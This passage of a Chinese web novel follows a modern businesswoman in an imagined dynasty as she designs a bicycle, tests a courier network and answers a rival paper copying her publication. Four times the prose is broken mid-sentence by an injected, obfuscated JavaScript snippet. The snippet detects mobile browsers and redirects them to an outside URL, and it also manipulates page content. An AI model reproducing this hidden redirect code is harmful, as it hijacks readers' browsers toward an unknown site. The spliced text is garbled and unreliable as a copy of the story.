“等到合作谈下来，你们再把信息汇总汇总，做成一张大的福利券夹在《见闻》里就好了。用户需要哪家店的产品就撕哪家店的优惠。”莫林知边讲边给画了个草图，方便他们理解。 两人一点就通，看出这是个双赢的小妙招，没有二话地领命下去了。 就连龚煊都没多做纠缠。 不得不说，莫林知心里着实松快很多——这才是她想要的职场氛围嘛。 呃，当然，她也就是想想而已，不会搞出什么“职场禁止恋爱”这种条约的。毕竟大家的圈子都有限，这么搞，岂不是棒打鸳鸯~~ 莫林知收拾收拾，确定没什么疏漏了，然后带着晚香离开了。 2天后，她和晚香在王府门口和萧太妃惜别。 萧太妃虽然理智，但是看着莫林知小小年纪就要扛起这么多，仿佛看到了当初父丧之后，临危受命的萧衍，眼睛红了一圈。 她拉着莫林知，殷切嘱咐：“一定要注意安全，平安回来。” “娘娘放心，我只是去做生意，十几天就回了。”莫林知笑容灿烂，回抱了一下这位可亲可敬的长辈，然后狠狠心上车了。 这是继几个月前来王府后第二次离家。上次，她带着小杰，还只是惋惜院子里的葡萄没吃到，比起留恋不舍，更多的是对新事业版图的期待。 这一次，她居然久违的感受到了那种离巢的孤单。 ——可能这就是所谓的“爱上一座城，是因为这座城里有所爱的人”吧。 莫林知深深地吐出一口气，让大脑进入到工作状态。 马车很快驶出城门，掀起布帘从窗口望去，能看到一大片一大片的绿油油的杆子，是玉米地。 地里，零星散落着少许人，背着背篓，在里面穿梭。没一会儿，背篓满了，就有人走到田埂边，将背篓清空，然后再回到绿杆杆里继续。 而田埂边，被掰下来的玉米已经堆成了一座小山。 “看起来，今年是个丰年？”莫林知带着点不确定地感叹。 对面，晚香笑着肯定了她的猜测：“这几年风调雨顺，地里的收成一直很好。我听我爹说，庄子上很多农户家的粮食存到第二年都吃不完，就拿去换精粮。精粮养人，所以我们北境的兵体格一直是最好的，那些蛮子都怕我们。” 这话哪怕打对折听，也足以见得萧衍治下清明，百姓生活富足。莫林知打心底佩服。 正啧啧感叹着，突然一个穿着飞毛腿工作服的人背着两大包东西从前头跑来，可能是因为级别太低，见到萧凛也没认出来，只是让道一边，等他们这一行过了之后又继续向前赶路去了。 莫林知探出头看了半晌，终于想起自己有什么忽略了——交通工具。 ······果真是不参与到业务底层很难发现一些问题点。这些日子，林显和萧凛过来回禀事项，聊的基本都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101082|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是支出盈亏、飞毛腿以及仓库的权限划分和点位建设，暗探的人员吸纳以及训练情况等等。一时还真没谁想到这么细节点上去。 想起刚才那个人气喘吁吁的模样，莫林知忍不住扶额。 她将萧凛叫到马车里，开始仔细问询相关情况：“刚才那个是乡镇的跑腿？” 萧凛点头：“胸口的标识是绿色，是乡镇无疑。” 他一说，莫林知立马从海量记忆里扒拉出林显某一次确实提过要用“飞毛腿”三个字的颜色来区分职级来着。 “那你们所有人配送的过程中全部靠两条腿？不能骑个马驴骡子什么的？”莫林知有点子好奇，又有点无语——这么低效的方式，不可能林显和萧凛都没发现问题吧？ 事实上，这两人确实也知道有问题，只是——没法解决。 “北境缺马，现有的基本都在军队里，而驴就更少见了，它性格暴躁，难以驯化，普通人家如果有运送大件的需求，一般也是用牛拉车。但是牛又是农用物资，不可商用，所以······” 莫林知懂了，归根结底，就是都买不到呗。 “那你们暗探出行也靠腿？？？”莫林知没忍住好奇心问了一嘴。想想电视剧里那些骑马奔驰的，再看看现实遇上的，就······有点low。 不至于吧？ 莫林知斜眼瞟过去，一脸怀疑。 萧凛一看就知她是从没了解过这块的信息，苦笑着解释：“可以去车马行租赁马匹。车马行背后和马场都有着千丝万缕的关系，马场会将马进行一二三等分层，最好的卖给各大藩王军队，最次的就流通到了车马行。他们一般在每个城镇都有据点，方便行人归还或者替换车马。” 莫林知又懂了——独家供应，全国连锁呗。 然而懂了对于事情本身半点用都没有。莫林知沉吟了半响开口：“还是得养马或者养驴。现在运送的都是些轻便东西，人力跑跑还行，可若是那些农产品呢？动辄几百上千斤，你让人去拉？” 她嘴上这么说，脑子想的其实全是自行车三轮车这些东西。 毕竟也不能人手一辆驴车吧，这样她还得买地买房买人专门去养驴驯驴······ 所以最方便的，还是现代交通工具！轻便的东西，小车一蹬就行了，车后面搞个箱子，又稳又快。稍微大一点的物件，可以搞个中型三轮车，双把手那种，两个人一起蹬，也能运个几百斤吧。 莫林知让萧凛下了车，然后铺开纸张，开始一点点画草图。 自行车的原理不难，上过初高中的基本都知道，难的是原材料。 钢铁、橡胶，哪一样都是不太能实现的东西。 不过······西南产地的铁矿和橡胶树胶草倒是挺丰富的，就是不知道能不能谈个合作了。 莫林知也没想到，自己会在离开定安城的第一天想起龚煊这个人······ 当然，她更想念萧衍——这种对外合作什么的，让萧衍去谈不是更好~ 66. 仿版 从定安城往北行了一天，一行人在下午四五点在一个小镇落脚。 客栈是萧凛选的，他们往常出门住的就是这家，基本没什么问题。 吃饭时，萧凛拿出地图，给莫林知说了一下明天的安排：“再往前就是山路了，大概三四个时辰才能走完，所以明天我们要早点出发了。” 莫林知毫无异议点头：“没问题。” 莫林知以为他是担心自己明天起晚，所以提前打个招呼。事实上，萧凛是有一次听晚香和林显争执的时候提起，她每晚要忙到半夜才歇息，所以委婉提醒她别熬夜。 两人一个觉得自己不可能赖床，一个觉得话都说明白了，对方应该都懂，于是用过餐后，大家各自相安无事地回房了。 莫林知还惦记着自行车这个东西，到了房间第一时间就是从随身皮包里翻出图纸继续画。 晚香见状，又是心疼又是无奈，知道劝不动，只能憋着气默默收拾东西准备洗漱用品——还以为出来这路上能稍微松快点呢，结果，就因为白天遇到了那一个跑腿的，莫姑娘就一直没停过。 她一边嫌弃这些男人不顶用，一边将自己的动作和声响降到最低。 更鼓一重接一重，本来只是想“添上2笔”“完善一下下”的莫林知再次弄到了半夜。 晚香实在担心，没忍住上前敲了敲桌子：“莫管事，先歇息吧。” 门外，萧凛不知道什么时候也站在了那里，敲了敲房门：“莫管事，赶路疲乏，今天不妨早点休息。如果有什么急事，也可以唤我们一起帮忙。” 隔着一层门，声音听起来有点闷闷的，但是其中的担心还是听得出来的。 莫林知无奈，朗声回了一句马上休息，然后放下纸笔去洗漱。 熄了灯烛后躺在床上，脑子存了事情的她哪怕闭上眼，也忍不住一遍遍回忆着刚才的图纸哪里还有错漏，哪里还需要标记尺寸或者注意事项等等， 还有飞毛腿，她想明早去找个据点亲自寄送一样东西，体验一遍这个流程。 身边，晚香的呼吸声听起来那么香甜绵长，被她带动着，本以为会失眠的莫林知不知不觉也睡着了。 第二天一早，她麻利地洗漱好，让萧凛他们帮忙打包两份早饭带上马车，然后单独带着晚香去寻这个飞毛腿。 落脚的这个镇不算大，飞毛腿可能算个新鲜事物，两人没费什么功夫就在旁人的指点下找到了店铺。 看见她们两个女客上门，里面一位小哥笑容满面地迎上来：“欢迎光临飞毛腿，本店提供跑腿代送服务，二位姑娘是想送点什么？” 莫林知拿出早就准备好的一个玉镯：“我想把这个送到沧澜城。” 小哥隔了层布小心接过看了一下：“挺贵重的，姑娘有自己准备盒子吗？” 莫林知摇头。 “好嘞，小店提供免费的防摔包装，但是您这个最好用一个木盒装着，木盒需要20文一个，能接受吗？”小哥说着从一旁的柜子上掏出一个巴掌大小，看着挺结实硬挺的木盒，多解释了一句，“这个木盒成本就要20文，小店其实也没赚。” “行，就这个吧。” “好嘞，那您在这个单子上填一下信息，我给您的镯子包装一下。” 小哥拿了2张单子递给莫林知，然后又从柜台上拿出软布，将镯子绕了一层又一层，最后在盒子里也垫了一些纸张布料，将镯子放进去卡严实，这才关上盒子，贴上封条，并且在封条上盖了个章。 莫林知将填完信息的单子交还给他，小哥仔细核对了两张单子的信息，确认无误后在两张单子上也盖了“飞毛腿xx镇xx店”的印章，然后将其中一张交还给莫林知，另一张贴到了盒子表面，笑呵呵地叮嘱：“单子您小心保管，这个镯子大概5至7天送到，到时候我们的跑腿会让收货人当面亲自撕开封条，确认镯子没有损坏再签验收单子。如果物件有损，您是可以凭这个单子来我们这儿理赔的。赔率在单子反面也注明了，原则上是按照您的采购价格1:1赔付，封顶500两。” 莫林知翻到单子反面，假装认真阅读条款。 这上面一条条法则，还是她和林显一起定下的。包括500两的封顶限额，也是为了防止有人敲诈。而且，所谓的赔付也没这么简单，需要有当时购买的人证物证都齐全才行。 “如果你们有人把我的东西替换成假货呢？”莫林知冷不丁问。 小哥笑容不变，继续解释：“姑娘，您的东西已经贴了封条，常理下是不太能有机会调换的。当然，如果不放心，到时候验收货物，您的朋友家人可以请一个懂行的人在旁一起验收。如果货物有异，我们按照单子上所写的规则进行赔付。所以，我们这边也建议您尽量不要寄送过于昂贵的物件。” 小哥说的不卑不亢，有理有据，让莫林知连找茬的机会都找不到。 事实上，一般价值达到500两贵重物件，也不会找飞毛腿，基本都是派自家家丁了事。莫林知这种也是飞毛腿接到的第一单。 别看小哥一直笑容可掬的，其实心里也没少嘀咕。他作为今天的负责人，比莫林知这个原主还要担心== 莫林知道了声谢就带着晚香离开了。回到客栈，萧凛已经带着人守在马车旁，只等她来了就出发。 莫林知没再耽搁，利落地爬上马车，边吃边回忆刚才店铺环境。 禹朝不像现代，所有的物件入库可以直接扫描识别，然后交由机器分拣，再将同线路的物品划分到相应的车上进行发出。 飞毛腿目前一切全靠人力。之前和林显商量的时候，莫林知就强调过，仓库货架一定要将地域划分明细。 从刚才来看，确实一目了然。 一排货架就是一条线路，排头标记线路名称，旁边每一格下面标记这条线路对应的各个城镇。只要驻守店铺的人看清单子不放错格子，那就基本不会出错。 整体来说，这个小哥，不管是服务还是流程，都没什么问题。 林显和萧凛做事还是很靠谱的。 莫林知心里一块大石头放下，然后继续专心在这张自行车图纸上。赶在晚上到达下一站之前，她总算是弄得差不多了。等到晚饭的时候，她直接将图纸放在桌上，跟萧凛提了需求——给她找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116756|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个手艺好能保密的木匠。 对，没错，咱铁的暂时实现不了，至少先弄个木的来——有了雏形，才好去招商引资啊不是。 萧凛听她介绍了一遍这玩意儿的作用，整个人都有点木——精巧的机关之术他不是没见过，但是2天时间就能发现需求并画出这么个东西的，举世少见吧？！ 她不是做生意的吗？怎么对这些偏门也这么熟悉。 之前那个什么干冰听说也是她的带领下给弄出来的。 萧凛面上还是那副镇定可靠地好男人样。他麻利地收好图纸，多余话一句都没有，只保证在他们到达沧澜城之前一定会有一个匠人在那等着。实则心里像炸开的油锅一样—— 他此刻非常迫切地想写一封信给王爷，问问他到底从哪挖来的这么个人才。 确定是人不是神仙下凡，又或者山中精怪？ 想想北境那些雪山流传的搜神志怪······好像不是不可能哈。 莫林知还不知道，自己9年义务教育的成果已经给人吓得把自己剔除“人类”行列了。 否则她没准哪天无聊，把课本搞一套出来给这些禹朝人增加点“扫盲门槛”。 图纸交出去后，她心里的大石就彻底搬开了，终于有心情将目光重新投注到身边的风土民情上。 吃完饭，她甚至还和晚香萧凛约好，明天早点起，一起去早集逛逛——以前出去旅游，她最爱逛的就是集市早市什么的了。 总能发现一些宝藏。 北境地广物博，且地理环境特殊，应该能看见不少特殊的东西吧？ 抱着这种美好的期待，莫林知早早就上楼准备歇下。 不过，刚洗漱完，房门就被急促地敲响，与此同时，萧凛的声音在门外响起：“莫管事，飞毛腿这边有消息传来。” 莫林知和晚香对视一眼，晚香去打开了房门。 萧凛并不进来，只是把一个竹筒递给她，同时压低了声音：“沧澜城那边已经有人在仿《见闻》，且第一期内容还是免费发放。莫管事，我们要加快脚程吗？” 莫林知没有回答，而是打开竹筒，拿出了里面的成品。 仿版的名字叫《奇闻》，纸张比起《见闻》那种暗沉发黄微微粗糙的手感好了不少。整个排版和《见闻》相比一模一样。说实话，哪怕是莫林知自己，也会优先选择这种纸张雪白字迹清晰的阅读。 《奇闻》和头两期的《见闻》一样，只有一大张内容。莫林知先看了下头版头条，发现文笔比李程江要稍微逊色一点，但也不影响阅读。 两者就好像一个是鬼斧神工，一个是精雕细琢。人们虽然更容易被前者惊叹，但也不影响他们喜欢后者。 莫林知大致扫完后，慢慢将《奇闻》折好，若有所思地开口：“它这个内容完全是照搬《见闻》头两期来进行的，你们说，是最新版的内容还没传到沧澜呢，还是内容已经在准备，只是来不及印刷发行？” 如果是前者，那她还得让人打探下，活字印刷的技术有没有被泄露出去。如果是后者，那倒是好解决了——这个效率问题就是对方的硬伤。 67. 对策 不管怎么说，这个早集是赶不了了。 “明天开始压缩行程，尽最快速度赶到沧澜。”莫林知肃着脸下令，然后将《奇闻》交给萧凛，“给齐铭他们也看看吧，大家都出出主意。” “是。”萧凛领命下去。 《奇闻》的出现，给齐铭他们这趟信心满满的旅程带来了一股强烈的危机感。谁也没有料到，居然会有人敢仿《见闻》。 虽然莫林知从没说过自己背后的依仗，可谁不知道，火锅店也好，《见闻》也好，都是肃王的产业？ 抢人财路抢到肃王头上，嫌命长吗？ 抱着这样的念头，临出发前，不管是齐铭还是何泽等人，都很自信地跟家里夸耀着这一趟必定会达成的目标和收获，甚至说好了回来时要给家里人带些什么特产——沧澜更往北一点，且多山林冰河，地域原因造就了这片地区很多不常见的奇珍异宝，以及每一样奇珍背后的神话故事。 现在好了，伴手礼什么的暂时是不用想了，还是先操心操心事情能不能顺利办完吧······ 齐铭几人将《奇闻》轮流看完，然后小心收好，你一句我一句地讨论起对策来。 第二天，莫林知下楼，见齐铭他们个个神色紧张，张口就要谈及这件事，抬手制止：“到了沧澜再集中讨论，这几天先专心赶路。” “是。” 她又转身看向萧凛：“催催沧澜那边的印刷坊和《见闻》分部的选址进度，我到之前尽量全部准备就绪。” 萧凛点头，转去后面马车抓信鸽。 一行人快马加鞭，将原定的五天行程压缩到了4天，赶在城门关闭前堪堪进了门。 下榻住所早就准备好了，就在印刷坊附近临时租了个院落，提前被派来打头阵的印刷坊小队也住在这里。 莫林知到的时候，一行人上前见礼，脸上都是愁苦之色。 莫林知见状，忍不住笑了：“怎么都这个表情。市场从来都是利益驱动的，有人模仿就说明我办的这个有利可图，这是好事儿。” 她说这话时就像随口闲聊一样，不管是语气还是姿态都很轻松，好像真就是别人给她竖了个大拇指这么简单。 还真别说，她这样毫不在意的表现确实给这群人打了一剂强心针。这几天，他们的惶惶不安都慢慢散了，脸上的表情也慢慢鲜活起来。 “行了，给我们准备点吃的，今天时间不早了，大家该休息的休息，明天开始鼓足干劲打一个翻身仗！到时候，我们可得好好给这些人一个教训，告诉他们：你爷爷终究还是你爷爷。” 她一个小姑娘装爷们说话，有人没忍住噗嗤笑了。而有了这一声笑打头，其余人也乐呵呵地开起玩笑，整个儿放松下来。 “厨房还热着饭菜，特地给你们准备的，我去端过来。”有两人麻利地下去准备。 莫林知让其他人包括晚香在内都下去修整各自的箱笼什么的，自己则拉了萧凛到一边：“木匠找着了吗？” 萧凛点头：“王爷军中有一个伙头兵，平时没事儿就喜欢刨木头做点小玩意儿，这次听说您要人，就派人送来了。人就在刚刚那群人里面。” 说完，他还递了一指长的卷纸给莫林知：“王爷给您的传信。” 莫林知眼中闪过一丝意外。 前阵子，她给萧衍写了那么厚一封“月报”都没得到回信，还想着对方要不就是很忙，要不就是不方便接发信函之类的，没想到这一次她有需求，还是对方帮忙解决的，甚至还留了短讯给她？ 莫林知当即展开，字不多，一眼就能扫完：吾将归，凡事放手可为，如遇疑难，萧凛可解。 “他知道《奇闻》的事情了？”莫林知问。 “是，当晚就传讯给了王爷。”萧凛恭谨回答。 莫林知了然挑眉。 难怪好端端的让她放手去做，搞得好像她要亮兵刃大杀四方一样。 不过······这种想做什么就做什么，背后有人撑腰的感觉还不错。 比那些动辄说什么“做不下去了就辞职，我能养你”的男人好太多了。 莫林知将纸条收好，然后让萧凛等会儿吃完饭将那个木匠带到会客厅。 任何事情都有两面性——这是莫林知在职场这么多年唯一牢记的箴言，也是她每次着急上火时还能理智冷静的那根弦。 《奇闻》出现前，她此行沧澜最大的烦恼就是要怎么打开《见闻》的局面。要知道，定安城这么顺利，其实大部分都是托了李程江的个人IP的福。可沧澜没有人知道李程江。这也就意味着。如果没有足够的饵吊着，那几乎没有人愿意花时间精力去接受一个新事物。 所以，在她原定计划里，是想用丽颜那几期的干货教程以及试用套装作为随刊赠品来打开局面的。 现在么······倒是可以省一省了。 既然有人身先士卒，不计成本地开路了，她不妨先歇一歇，让子弹飞一会儿。 只不过，这样一来，《见闻》的内容宣发计划也要稍微变一变才行。而且，踩着《奇闻》上位，也还得有一个份量重的筹码。 自行车就是那个筹码。 莫林知一边吃一边在心里捋着接下里的计划，然后交代他们自行休息，自己则去了会客厅。 干冰她帮不上忙，自行车这个还是有五六分把握的。这个东西现在牵扯了飞毛腿和《见闻》两端，重中之重，她得确保效率和安全才行。 会客厅，萧凛和一个瘦小长臂的男人一起等着。 男人身高不过一米七的样子，在北境一众高大威猛的汉子中显得格格不入。对比之下，那双又长又有力的手就显得格外吸睛，且与众不同——有点像长臂猿，一看就知道手很灵活。 男人在来的路上就听人介绍过莫林知，刚才他们抵达的时候，他也不着痕迹地观察过，结论就两个字——合缘。 沧澜这边的危机他也知道些许，结果这个小姑娘一进来，四两拨千斤地就化解了大家脸上的迷茫和愁苦，整个团队士气立马蹭蹭地上来了。这临危不乱的镇定作态，很有大将风范——像王爷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138879|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来还只是出于王爷的命令，这一个照面后，他是彻底臣服了。 莫林知一进来，他比萧凛反应还快，立马起身恭敬行礼：“见过莫管事，鄙人魏安，给莫管事见礼了。” 早知他这人有多桀骜，还有些担心的萧凛：“······” 莫林知也吓了一跳，这人动作之快她都来不及拦，说话也跟打枪似的，蹦蹦蹦蹦，中气十足。 愣了一下后，她连忙抱拳回了一礼，然后自我介绍：“你好，我是莫林知。以后不用这么客气，大家都是同仁，随意点就好。” “是！”魏安压低声音，但中气十足地领命。 莫林知眼神不着痕迹地和萧凛对上，见他点点头，然后从包里拿出早已完善好，甚至后来又扩充了一种儿童版的自行车图纸拿出来递过去：“这个就是我要托你做的东西。需要什么都可找萧凛，但是要快，最好3天，最迟5天内我要看到初版的成品。” 这一叠图纸有点小厚，魏安一听她要求的时间，还有些皱眉，等到接过来仔细看了看，脸上的表情顿时舒缓了——图纸只是画得大而细，才耗费的纸张多而已。 “没问题的，后院那边单独给我辟了一个小院落，木材工具什么的也早就准备好了。如果您没什么别的交代，我现在就下去琢磨了。” “好，有任何疑惑随时找我。”莫林知发自内心松了口气，再一次默默感谢萧衍——这个人真是太靠谱了。 看着人走远，莫林知转头看向萧凛，低声交代后续事宜：“《奇闻》那边还要麻烦你想办法探一探他们的印刷术技术到什么程度了。另外，魏安这边一定要派人守着，哪怕是我们自己人，除了晚香以外，也不能随意出入他的院子。” 萧凛点头：“放心，人手都安排好了。” 紧急的事情都沟通完，莫林知放下一半心去休息了。 第二天醒来时，院子里的人空了一大半。印刷坊那边的人都已经出发上工去了，他们要在《见闻》内容正式出来之前尽可能把常用字的字模都做好，还有《见闻》的排版工具等等。同时还要带新人，等到新人都上手，他们也就功成身退，打道回定安城了。 这个大院子里只剩下了齐铭他们，萧凛肩负随身保护之责，也没有离开。 莫林知用了个战斗餐，直接带着这些人去了分部地址。 地址离住的地方不远，走路也就一刻钟的样子。买的人可能有些拿不定主意，就直接参考了总部的格局进行了选址，所以一进门，扑面而来一种熟悉感。 就连门牌都已经做好了，一模一样。 莫林知一时有些哭笑不得，难为做这件事的人了，找个这么相似的院子不容易。 齐铭他们转了一圈，倒是蛮开心的。这种熟悉的感觉，好像还在定安城一样，让他们心里都有底了很多。 一行人转了一圈，大致熟悉了一下，然后莫林知拍手将所有人叫到院子里开始开会。 会议议题有2个： 一个是招人，一个是《见闻》的内容基调。 68. 自行车 “招工流程和试题这些你们都经历过，也熟悉了，你们各自负责自己部门的试题和招工流程。创作部的试题我来负责，没问题吧？”莫林知环视了一圈，见他们都摇头，然后将自己带来的往期《见闻》和那一份《奇闻》全部摊开，“说说吧，你们这几天的想法。” 几个人你看看我我看看你，显然是都有想法，但是都不好意思抢先。 齐铭略等了等，然后举了举自己的工作笔记本，笑道：“那我先来吧。其实从目前来看我觉得《奇闻》对我们还构不成威胁。两份内容的质量差距在这里，一期两期过后大家自然会选择更好看的。其次，《见闻》的营收其实是靠广告营销项目以及后续想做的‘代购’项目，恕我直言，这两样，我不觉得目前有人能复制。” 一针见血，莫林知给了个肯定的眼神。 有人开了个好头，后面何泽也开口了：“莫管事，我觉得咱们第一期的内容可以直接摒弃那些风月故事，直奔主题。所以我建议现在开始飞毛腿就可以定向去搜集信息，然后汇总到我这里了。这样可以从一开始就把《见闻》做出差异化定位。” 校对部的陈诚也不甘示弱地跟上：“不知道对方下一期什么时候出，我觉得可以再多了解了解对方的意图，而不是匆忙发行内容。” 莫林知听完，感觉很欣慰。这段时间的磨合，大家也都有了现代化策略思维，很多想法和她想到的不谋而合。 “挺好的，既然都有想法了，那就这么行动吧。《奇闻》那边的消息我已经让人去打探了，明天应该就会有一波回复，在那之前，我们内容暂定四张：农商资讯、行业探秘、风月见闻、广告合辑。” “齐铭，你和飞毛腿那边协商。《见闻》和飞毛腿联合卖货，双方各自的职责，合作流程，合作利益这些都怎么划分，今天晚饭前我要看到结果。” “何泽，行业探秘、风月见闻这两部分，从前几期《见闻》的内容选择比较合适的出来进行加工一下，另外，农商资讯这个板块你要搜集的不只是一城一地的素材，而是整个北境的素材。所以你要考虑到素材之间的传递和时效性，想清楚后整理好需求给到齐铭，让他一起去谈。” “陈诚，外部的事情暂时不用你，所以，内部就要麻烦你多上心了。这次招工你为总负责，前期要准备的东西、流程这些全部把控好，出了问题我只找你。” “以上，都明白的话就动起来吧。” “是！”三人齐齐领命。 事情都分配出去后，莫林知带着萧凛在城内转悠。 有一说一，论繁华，沧澜半点不输定安城。同样是主街，沧澜也是车水马龙络绎不绝。看见别人因为车子堵塞而被迫下车步行，莫林知忍不住面露微笑。 而且，这边的人更具异域风格，高鼻梁，深轮廓，有点混血的感觉——比定安城的人好看。 莫林知从一个摊位上买了一份油炸小吃，然后看见前方一栋建筑有一种熟悉的白蓝色调，走过去一看，果然是白玉京。 莫林知领着萧凛进去，找了个大堂角落的位置坐下，左右看了看，忍不住感叹：“其实这里也比定安城更适合开火锅店。” 萧凛点头附议：“可以让吴掌柜来试试。王爷在这附近也有庄子，能提供食材。” 说得莫林知心里一动，脑子都忍不住开始构思选址，招工和前期营销了······ “······要不，你让飞毛腿给留意下合适的门店？” 萧凛眼中闪过一丝笑意，肃着脸答应了。 两人吃到尾声，商量着下午早点回去看看自行车的进度，就见门外忽然一阵熙熙攘攘。莫林知侧耳聆听，隐约听到“奇闻”两个字。 莫林知略微皱眉，有一丝丝不可置信：“第二期这么快就出来了？难道他们也是活字印刷？” 如果是这样，那要不就是对方有人天赋异禀，要么就是自己这边有人走漏了消息。 两人对视一眼，果断招来小二付款走人，然后去门外那个代售点领了一份。 第二期的《奇闻》也增加了一张内容。 头版头条和之前保持不变，新增的内容里主要是一些店铺的广告信息。 还不是《见闻》那种内容可看性高的软广，而是很硬很硬的硬广，一张纸排了8家店。 莫林知看完，忍不住弹了下手中的纸张，挑眉：“看来这就是他们的盈利方式了。就是不知道这广告的效果怎么样。” “可以投一下试试。” “给谁投？飞毛腿？还是······《奇闻》？”莫林知说着，忍不住笑了。她忍不住瞟了眼身侧的男人——还是那么不苟言笑的样子，可能完全不知道自己刚才随口一说有多促狭。 但是他还真的给了莫林知一点灵感。 她写了张手信，然后就近找了家飞毛腿，花了2文钱托人把东西送到陈诚手上。 看着跑腿的带着手信出发，莫林知没忍住，又莫名地笑弯了腰——找自家的跑腿业务给分公司的人带信，然后让人去《奇闻》给《见闻》投广告——这样的事儿，她应该也是第一个做吧？ 确实是前无古人，有没有来者就暂不清楚了。 陈诚拿着手信，翻来覆去看了半天，然后去找了齐铭几人。 “你们说，莫管事究竟是什么个意思？”他总觉得应该不至于这么简单才对。 齐铭扫了眼，脸上忍不住浮现出一丝笑意，对这位莫管事的小孩心性又有了一定认知。 他将手信还回去，笑着说：“你就现在跑一趟吧，放心，成不成功都不要紧的。” “真的吗？”陈诚将信将疑，“确定莫管事不是想让我套个话？比如投一个广告的价格之类的。而且，这样做不就是明摆着告诉对方我们来了并且已经盯上他们了吗？这······除了打草惊蛇还有什么作用啊。” 是没什么作用，不过某人开心就好了。 齐铭心里腹诽，面上还得维持住某人高深莫测的形象：“莫管事的想法哪里是我们能猜的中的。你就遵照嘱咐完成任务就好了。” 陈诚：“······行吧。” 他拿回手信，整理整理着装什么的就出门了 ——当晚，莫林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145549|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知就收到了陈家、方家、段家的联名邀请函。 姿态极低地表明自己明日午时在白玉京定了顶楼最高规格的包间，希望她能抽空一晤。 看着一字一句扑面而来的恳切和小心翼翼，莫林知又忍不住笑了：“胆子这么小，怎么还敢抄《见闻》的？” 笑完又看向陈诚：“你今天去对方怎么说？” 陈诚连忙放下碗筷，正经汇报工作：“回莫管事，我去了之后就说要投广告，然后对方就给我了一张收费明细。版面越好，字数越多收费就越高。不过他们家买下整个版面也就是200两，最低10两银子就能投，但是广告信息得我们自己准备。” 说完陈诚擦擦汗，略略心虚地继续：“然后对方就问我要投什么店铺，多少内容。我报出《见闻》两个字，对方就立马去了后院，再没出来过。我等了1个时辰也叫不到人，就离开了。” 往日莫林知让人做类似事情都是带着极强的目的性，按她的话来说，要善于观察，尽可能多获取信息，这样才能做好充足应对，立于不败之地。 陈诚自觉这点信息量是远没达到她的要求的，正绞尽脑汁搜肠刮肚，就听对方带着笑意开口： “价格倒是不贵，就是不知道投产比怎么样。” 陈诚抱着将功补过的心思连忙提议：“要不我找几个乞儿盯一下这几家店铺？” 莫林知想了想，摇了摇头：“算了，目前来看构不成什么威胁，我们先做好手头的事情吧。” “好嘞好嘞~”陈诚连连应和，擦了擦额头的细汗。 一顿饭毕，莫林知先去后头看了下自行车的进度。 魏安有两把刷子，一天的时间，所需零部件就已经做了个七七八八了。 她见旁边晚香送来的晚饭动都没动过，于是劝了一句：“先吃饭吧，正好我用现有的零件拼一拼，万一有什么问题也好及时止损。” 魏安对她的迷之服从感似乎还没消退，她这么一说，对方就立马放下了工具，乖乖坐到了饭桌旁，一边吃，一边看莫林知在那不甚熟练地翻找零部件。 旁观的萧凛看得一脑壳汗——魏安以前也愣，但是基本的尊卑秩序还是记得的。现在这怎么回事？哪有自己吃饭，看上级在那忙活的。 关键莫林知也半点没觉得有问题······ 他连忙上前给打了把手。 现代电商行业本来就讲究扁平化管理，大家除了工作汇报，平时都没大没小惯了，所以莫林知是真没觉得哪里不对。更何况，她现在完全沉浸在禹朝第一辆自行车中。 小的时候家里条件不好，二叔经常从别人家搜一些坏掉了的电器回家自学自修，还真别说，都修好了。那时候，莫林知最大的玩具也就是看二叔修这些没见过的东西，偶尔帮忙递个东西，不知道什么时候，那些工具就认熟了。 后来，她见同校有人骑自行车上学，眼馋得不行，就也想要。然后二叔不知道从哪给她弄了些零部件，带着她一点点组装、拧螺丝、刷漆······最后，她人生的唯一一次机械体验，也是第一台自行车就这么诞生了~ 69. 赴约 她曾无数次遗憾那些再也回不去的小时候，没想到会在有生之年，在一个神奇的朝代重温一遍。 莫林知先将上管下管前叉后叉车把这些都卡上，然后将两个轮子装上去，尝试着在屋内推着转了一圈。 